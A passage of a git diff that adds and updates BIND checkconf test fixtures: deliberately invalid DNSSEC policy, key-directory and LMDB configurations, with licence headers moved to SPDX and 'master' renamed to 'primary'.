-	zone "example.net" {
-		type primary;
-		dnssec-policy "insecure";
-		key-directory ".";
-		file "example2.db";
-	};
-};
diff --git a/bin/tests/system/checkconf/bad-kasp-keydir1.conf.in b/bin/tests/system/checkconf/bad-kasp-keydir1.conf.in
new file mode 100644
index 0000000000..b0deaeae33
--- /dev/null
+++ b/bin/tests/system/checkconf/bad-kasp-keydir1.conf.in
@@ -0,0 +1,50 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+/*
+ * The same zone in different views is using different DNSSEC policies, so it
+ * may not have the same key-directory.
+ */
+
+
+key "keyforview1" {
+	algorithm @DEFAULT_HMAC@;
+	secret "YPfMoAk6h+3iN8MDRQC004iSNHY=";
+};
+
+key "keyforview2" {
+	algorithm @DEFAULT_HMAC@;
+	secret "4xILSZQnuO1UKubXHkYUsvBRPu8=";
+};
+
+view "example1" {
+	match-clients { key "keyforview1"; };
+
+	zone "example.net" {
+		type primary;
+		dnssec-policy "default";
+		key-directory ".";
+		file "example1.db";
+	};
+};
+
+view "example2" {
+	match-clients { key "keyforview2"; };
+
+	zone "example.net" {
+		type primary;
+		dnssec-policy "insecure";
+		key-directory ".";
+		file "example2.db";
+	};
+};
diff --git a/bin/tests/system/checkconf/bad-kasp-keydir2.conf b/bin/tests/system/checkconf/bad-kasp-keydir2.conf
deleted file mode 100644
index 67161a8436..0000000000
--- a/bin/tests/system/checkconf/bad-kasp-keydir2.conf
+++ /dev/null
@@ -1,40 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-key "keyforview1" {
-	algorithm "hmac-sha1";
-	secret "YPfMoAk6h+3iN8MDRQC004iSNHY=";
-};
-
-key "keyforview2" {
-	algorithm "hmac-sha1";
-	secret "4xILSZQnuO1UKubXHkYUsvBRPu8=";
-};
-
-view "example1" {
-	match-clients { key "keyforview1"; };
-
-	zone "example.net" {
-		type primary;
-		dnssec-policy "default";
-		file "example1.db";
-	};
-};
-
-view "example2" {
-	match-clients { key "keyforview2"; };
-
-	zone "example.net" {
-		type primary;
-		dnssec-policy "insecure";
-		file "example2.db";
-	};
-};
diff --git a/bin/tests/system/checkconf/bad-kasp-keydir2.conf.in b/bin/tests/system/checkconf/bad-kasp-keydir2.conf.in
new file mode 100644
index 0000000000..699c193aaa
--- /dev/null
+++ b/bin/tests/system/checkconf/bad-kasp-keydir2.conf.in
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+/*
+ * No key-directory is set, so the default is used.
+ * Should fail because the same zone in different views is using different
+ * DNSSEC policies.
+ */
+
+key "keyforview1" {
+	algorithm @DEFAULT_HMAC@;
+	secret "YPfMoAk6h+3iN8MDRQC004iSNHY=";
+};
+
+key "keyforview2" {
+	algorithm @DEFAULT_HMAC@;
+	secret "4xILSZQnuO1UKubXHkYUsvBRPu8=";
+};
+
+view "example1" {
+	match-clients { key "keyforview1"; };
+
+	zone "example.net" {
+		type primary;
+		dnssec-policy "default";
+		file "example1.db";
+	};
+};
+
+view "example2" {
+	match-clients { key "keyforview2"; };
+
+	zone "example.net" {
+		type primary;
+		dnssec-policy "insecure";
+		file "example2.db";
+	};
+};
diff --git a/bin/tests/system/checkconf/bad-kasp-keydir3.conf.in b/bin/tests/system/checkconf/bad-kasp-keydir3.conf.in
new file mode 100644
index 0000000000..0dbd7e2265
--- /dev/null
+++ b/bin/tests/system/checkconf/bad-kasp-keydir3.conf.in
@@ -0,0 +1,55 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+/*
+ * The zone in view "example1" inherits the key directory value from "options",
+ * but in view "example2" sets the key directory to the same value. This should
+ * be detected as an error because the zone is using different DNSSEC policies
+ * and should thus use different key directories.
+ */
+
+key "keyforview1" {
+	algorithm @DEFAULT_HMAC@;
+	secret "YPfMoAk6h+3iN8MDRQC004iSNHY=";
+};
+
+key "keyforview2" {
+	algorithm @DEFAULT_HMAC@;
+	secret "4xILSZQnuO1UKubXHkYUsvBRPu8=";
+};
+
+options {
+	key-directory "keys";
+};
+
+view "example1" {
+	match-clients { key "keyforview1"; };
+
+	zone "example.net" {
+		type primary;
+		/* key-directory inherited from options. */
+		dnssec-policy "default";
+		file "example1.db";
+	};
+};
+
+view "example2" {
+	match-clients { key "keyforview2"; };
+
+	zone "example.net" {
+		type primary;
+		dnssec-policy "insecure";
+		key-directory "keys";
+		file "example2.db";
+	};
+};
diff --git a/bin/tests/system/checkconf/bad-kasp-keydir4.conf.in b/bin/tests/system/checkconf/bad-kasp-keydir4.conf.in
new file mode 100644
index 0000000000..af4a8f907b
--- /dev/null
+++ b/bin/tests/system/checkconf/bad-kasp-keydir4.conf.in
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+/*
+ * The zone inherits the key-directory from the "view" level. Both views use the
+ * same key-directory, but the zone uses a different DNSSEC policy per view.
+ * This is a configuration error.
+ */
+
+key "keyforview1" {
+	algorithm @DEFAULT_HMAC@;
+	secret "YPfMoAk6h+3iN8MDRQC004iSNHY=";
+};
+
+key "keyforview2" {
+	algorithm @DEFAULT_HMAC@;
+	secret "4xILSZQnuO1UKubXHkYUsvBRPu8=";
+};
+
+view "example1" {
+	match-clients { key "keyforview1"; };
+
+	key-directory "keys";
+
+	zone "example.net" {
+		type primary;
+		dnssec-policy "default";
+		file "example1.db";
+	};
+};
+
+view "example2" {
+	match-clients { key "keyforview2"; };
+
+	key-directory "keys";
+
+	zone "example.net" {
+		type primary;
+		dnssec-policy "insecure";
+		file "example2.db";
+	};
+};
diff --git a/bin/tests/system/checkconf/bad-kasp-keydir5.conf.in b/bin/tests/system/checkconf/bad-kasp-keydir5.conf.in
new file mode 100644
index 0000000000..1cca608326
--- /dev/null
+++ b/bin/tests/system/checkconf/bad-kasp-keydir5.conf.in
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+/*
+ * In one view, the zone inherits the key-directory from the "view" level, while
+ * in the other it is set explicitly at the "zone" level. In both cases, the
+ * same key-directory is used, but the zone uses a different DNSSEC policy per
+ * view. This is a configuration error.
+ */
+
+key "keyforview1" {
+	algorithm @DEFAULT_HMAC@;
+	secret "YPfMoAk6h+3iN8MDRQC004iSNHY=";
+};
+
+key "keyforview2" {
+	algorithm @DEFAULT_HMAC@;
+	secret "4xILSZQnuO1UKubXHkYUsvBRPu8=";
+};
+
+view "example1" {
+	match-clients { key "keyforview1"; };
+
+	key-directory "keys";
+
+	zone "example.net" {
+		type primary;
+		dnssec-policy "default";
+		file "example1.db";
+	};
+};
+
+view "example2" {
+	match-clients { key "keyforview2"; };
+
+	zone "example.net" {
+		type primary;
+		dnssec-policy "insecure";
+		key-directory "keys";
+		file "example2.db";
+	};
+};
diff --git a/bin/tests/system/checkconf/bad-kasp-max-zone-ttl.conf b/bin/tests/system/checkconf/bad-kasp-max-zone-ttl.conf
new file mode 100644
index 0000000000..0b5939478e
--- /dev/null
+++ b/bin/tests/system/checkconf/bad-kasp-max-zone-ttl.conf
@@ -0,0 +1,26 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+/*
+ * The dnssec-policy is not defined. Should also be caught if it is inherited.
+ */
+
+options {
+	dnssec-policy default;
+};
+
+zone "example.net" {
+	type primary;
+	file "example.db";
+        max-zone-ttl 600;
+};
diff --git a/bin/tests/system/checkconf/bad-kasp-nsec3-alg.conf b/bin/tests/system/checkconf/bad-kasp-nsec3-alg.conf
new file mode 100644
index 0000000000..ff25ecea38
--- /dev/null
+++ b/bin/tests/system/checkconf/bad-kasp-nsec3-alg.conf
@@ -0,0 +1,25 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+dnssec-policy "badnsec3alg" {
+	keys {
+		csk lifetime unlimited algorithm rsasha1;
+	};
+	nsec3param iterations 0 optout 0 salt-length 0;
+};
+
+zone "example.net" {
+	type primary;
+	file "example.db";
+	dnssec-policy "badnsec3alg";
+};
diff --git a/bin/tests/system/checkconf/bad-kasp-policy-undefined-inherited-view.conf b/bin/tests/system/checkconf/bad-kasp-policy-undefined-inherited-view.conf
new file mode 100644
index 0000000000..12a26d38cc
--- /dev/null
+++ b/bin/tests/system/checkconf/bad-kasp-policy-undefined-inherited-view.conf
@@ -0,0 +1,25 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+/*
+ * The dnssec-policy is not defined. Should also be caught if it is inherited.
+ */
+
+view "test" {
+	dnssec-policy "notdefined";
+
+	zone "example.net" {
+		type primary;
+		file "example.db";
+	};
+};
diff --git a/bin/tests/system/checkconf/bad-kasp-policy-undefined-inherited.conf b/bin/tests/system/checkconf/bad-kasp-policy-undefined-inherited.conf
new file mode 100644
index 0000000000..48514ac429
--- /dev/null
+++ b/bin/tests/system/checkconf/bad-kasp-policy-undefined-inherited.conf
@@ -0,0 +1,25 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+/*
+ * The dnssec-policy is not defined. Should also be caught if it is inherited.
+ */
+
+options {
+	dnssec-policy "notdefined";
+};
+
+zone "example.net" {
+	type primary;
+	file "example.db";
+};
diff --git a/bin/tests/system/checkconf/bad-kasp10.conf b/bin/tests/system/checkconf/bad-kasp10.conf
index 026fb52aaa..8253fae0c2 100644
--- a/bin/tests/system/checkconf/bad-kasp10.conf
+++ b/bin/tests/system/checkconf/bad-kasp10.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -13,13 +15,13 @@
 // both using the same zone file.
 
 zone "example1.net" {
-	type master;
+	type primary;
 	file "example.db";
 	dnssec-policy "none";
 };
 
 zone "example2.net" {
-	type master;
+	type primary;
 	file "example.db";
 	dnssec-policy "insecure";
 };
diff --git a/bin/tests/system/checkconf/bad-kasp11.conf b/bin/tests/system/checkconf/bad-kasp11.conf
index 6d5f51813e..68177c2d5f 100644
--- a/bin/tests/system/checkconf/bad-kasp11.conf
+++ b/bin/tests/system/checkconf/bad-kasp11.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -13,13 +15,13 @@
 // with the same zone file.
 
 zone "example1.net" {
-	type master;
+	type primary;
 	file "example.db";
 	dnssec-policy "default";
 };
 
 zone "example2.net" {
-	type master;
+	type primary;
 	file "example.db";
 	allow-update { any; };
 };
diff --git a/bin/tests/system/checkconf/bad-kasp12.conf b/bin/tests/system/checkconf/bad-kasp12.conf
index 3251f61874..0ae8c1e797 100644
--- a/bin/tests/system/checkconf/bad-kasp12.conf
+++ b/bin/tests/system/checkconf/bad-kasp12.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -13,13 +15,13 @@
 // with the same zone file.
 
 zone "example1.net" {
-	type master;
+	type primary;
 	file "example.db";
 	dnssec-policy "default";
 };
 
 zone "example2.net" {
-	type master;
+	type primary;
 	file "example.db";
 	update-policy {
 		grant * self * TXT;
diff --git a/bin/tests/system/checkconf/bad-kasp13.conf b/bin/tests/system/checkconf/bad-kasp13.conf
index 503859ba44..c74a5d7f5d 100644
--- a/bin/tests/system/checkconf/bad-kasp13.conf
+++ b/bin/tests/system/checkconf/bad-kasp13.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -13,13 +15,13 @@
 // with the same zone file.
 
 zone "example1.net" {
-	type master;
+	type primary;
 	file "example.db";
 	dnssec-policy "insecure";
 };
 
 zone "example2.net" {
-	type master;
+	type primary;
 	file "example.db";
 	allow-update { any; };
 };
diff --git a/bin/tests/system/checkconf/bad-kasp2.conf b/bin/tests/system/checkconf/bad-kasp2.conf
deleted file mode 100644
index a7b44ab6d0..0000000000
--- a/bin/tests/system/checkconf/bad-kasp2.conf
+++ /dev/null
@@ -1,22 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-include "good-kasp.conf";
-
-// Bad zone configuration because this has dnssec-policy and other DNSSEC sign
-// configuration options (auto-dnssec).
-zone "example.net" {
-	type master;
-	file "example.db";
-	dnssec-policy "test";
-	auto-dnssec maintain;
-	allow-update { any; };
-};
diff --git a/bin/tests/system/checkconf/bad-kasp3.conf b/bin/tests/system/checkconf/bad-kasp3.conf
index 104100dc59..8c6d7b41ac 100644
--- a/bin/tests/system/checkconf/bad-kasp3.conf
+++ b/bin/tests/system/checkconf/bad-kasp3.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -15,7 +17,7 @@ include "good-kasp.conf";
 // dnssec-policy configuration (good-kasp.conf has "test", zone refers to
 // "nosuchpolicy".
 zone "example.net" {
-	type master;
+	type primary;
 	file "example.db";
 	dnssec-policy "nosuchpolicy";
 };
diff --git a/bin/tests/system/checkconf/bad-kasp4.conf b/bin/tests/system/checkconf/bad-kasp4.conf
index efb2cbefa8..d35d12f03c 100644
--- a/bin/tests/system/checkconf/bad-kasp4.conf
+++ b/bin/tests/system/checkconf/bad-kasp4.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -16,7 +18,7 @@ dnssec-policy "badduration" {
 };
 
 zone "example.net" {
-	type master;
+	type primary;
 	file "example.db";
 	dnssec-policy "badduration";
 };
diff --git a/bin/tests/system/checkconf/bad-kasp6.conf b/bin/tests/system/checkconf/bad-kasp6.conf
index 672f4df868..3304038cee 100644
--- a/bin/tests/system/checkconf/bad-kasp6.conf
+++ b/bin/tests/system/checkconf/bad-kasp6.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -12,13 +14,13 @@
 // Two zones with dnssec-policy with the same zone file.
 
 zone "example1.net" {
-	type master;
+	type primary;
 	file "example.db";
 	dnssec-policy "default";
 };
 
 zone "example2.net" {
-	type master;
+	type primary;
 	file "example.db";
 	dnssec-policy "default";
 };
diff --git a/bin/tests/system/checkconf/bad-kasp7.conf b/bin/tests/system/checkconf/bad-kasp7.conf
index b7ba4a9b2e..c5dfbe8e17 100644
--- a/bin/tests/system/checkconf/bad-kasp7.conf
+++ b/bin/tests/system/checkconf/bad-kasp7.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -13,13 +15,13 @@
 // with the same zone file.
 
 zone "example1.net" {
-	type master;
+	type primary;
 	file "example.db";
 	dnssec-policy "insecure";
 };
 
 zone "example2.net" {
-	type master;
+	type primary;
 	file "example.db";
 	dnssec-policy "insecure";
 };
diff --git a/bin/tests/system/checkconf/bad-kasp8.conf b/bin/tests/system/checkconf/bad-kasp8.conf
index af4f1a3d5a..1712fd075f 100644
--- a/bin/tests/system/checkconf/bad-kasp8.conf
+++ b/bin/tests/system/checkconf/bad-kasp8.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -13,13 +15,13 @@
 // both with the same zone file.
 
 zone "example1.net" {
-	type master;
+	type primary;
 	file "example.db";
 	dnssec-policy "default";
 };
 
 zone "example2.net" {
-	type master;
+	type primary;
 	file "example.db";
 	dnssec-policy "none";
 };
diff --git a/bin/tests/system/checkconf/bad-kasp9.conf b/bin/tests/system/checkconf/bad-kasp9.conf
index 7fc5370afc..3bb54482ec 100644
--- a/bin/tests/system/checkconf/bad-kasp9.conf
+++ b/bin/tests/system/checkconf/bad-kasp9.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -13,13 +15,13 @@
 // (transitioning to inseure), both with the same zone file.
 
 zone "example1.net" {
-	type master;
+	type primary;
 	file "example.db";
 	dnssec-policy "default";
 };
 
 zone "example2.net" {
-	type master;
+	type primary;
 	file "example.db";
 	dnssec-policy "insecure";
 };
diff --git a/bin/tests/system/checkconf/bad-keep-response-order.conf b/bin/tests/system/checkconf/bad-keep-response-order.conf
deleted file mode 100644
index c2c8929ca5..0000000000
--- a/bin/tests/system/checkconf/bad-keep-response-order.conf
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-options {
-	keep-response-order {
-		does_not_exist;
-	};
-};
diff --git a/bin/tests/system/checkconf/bad-ksk-without-zsk.conf b/bin/tests/system/checkconf/bad-ksk-without-zsk.conf
new file mode 100644
index 0000000000..66e1b7f0c8
--- /dev/null
+++ b/bin/tests/system/checkconf/bad-ksk-without-zsk.conf
@@ -0,0 +1,24 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+dnssec-policy ksk-without-zsk {
+	keys {
+		ksk lifetime 30d algorithm 13;
+	};
+};
+
+zone "example" {
+	type primary;
+	file "example.db";
+	dnssec-policy ksk-without-zsk;
+};
diff --git a/bin/tests/system/checkconf/bad-lifetime.conf b/bin/tests/system/checkconf/bad-lifetime.conf
index b5926f0eae..f268076544 100644
--- a/bin/tests/system/checkconf/bad-lifetime.conf
+++ b/bin/tests/system/checkconf/bad-lifetime.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/bad-lmdb-mapsize-bogus.conf b/bin/tests/system/checkconf/bad-lmdb-mapsize-bogus.conf
index 17d2ac5954..5655a16de8 100644
--- a/bin/tests/system/checkconf/bad-lmdb-mapsize-bogus.conf
+++ b/bin/tests/system/checkconf/bad-lmdb-mapsize-bogus.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/bad-lmdb-mapsize-toolarge.conf b/bin/tests/system/checkconf/bad-lmdb-mapsize-toolarge.conf
index 99540cae4d..006ca7d03f 100644
--- a/bin/tests/system/checkconf/bad-lmdb-mapsize-toolarge.conf
+++ b/bin/tests/system/checkconf/bad-lmdb-mapsize-toolarge.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/bad-lmdb-mapsize-toosmall.conf b/bin/tests/system/checkconf/bad-lmdb-mapsize-toosmall.conf
index e5e50f7f38..5dd1720341 100644
--- a/bin/tests/system/checkconf/bad-lmdb-mapsize-toosmall.conf
+++ b/bin/tests/system/checkconf/bad-lmdb-mapsize-toosmall.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/bad-lmdb-mapsize-unlimited.conf b/bin/tests/system/checkconf/bad-lmdb-mapsize-unlimited.conf
index 252ab3666c..f1e7b8888c 100644
--- a/bin/tests/system/checkconf/bad-lmdb-mapsize-unlimited.conf
+++ b/bin/tests/system/checkconf/bad-lmdb-mapsize-unlimited.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/bad-many.conf b/bin/tests/system/checkconf/bad-many.conf
deleted file mode 100644
index af2b4344fa..0000000000
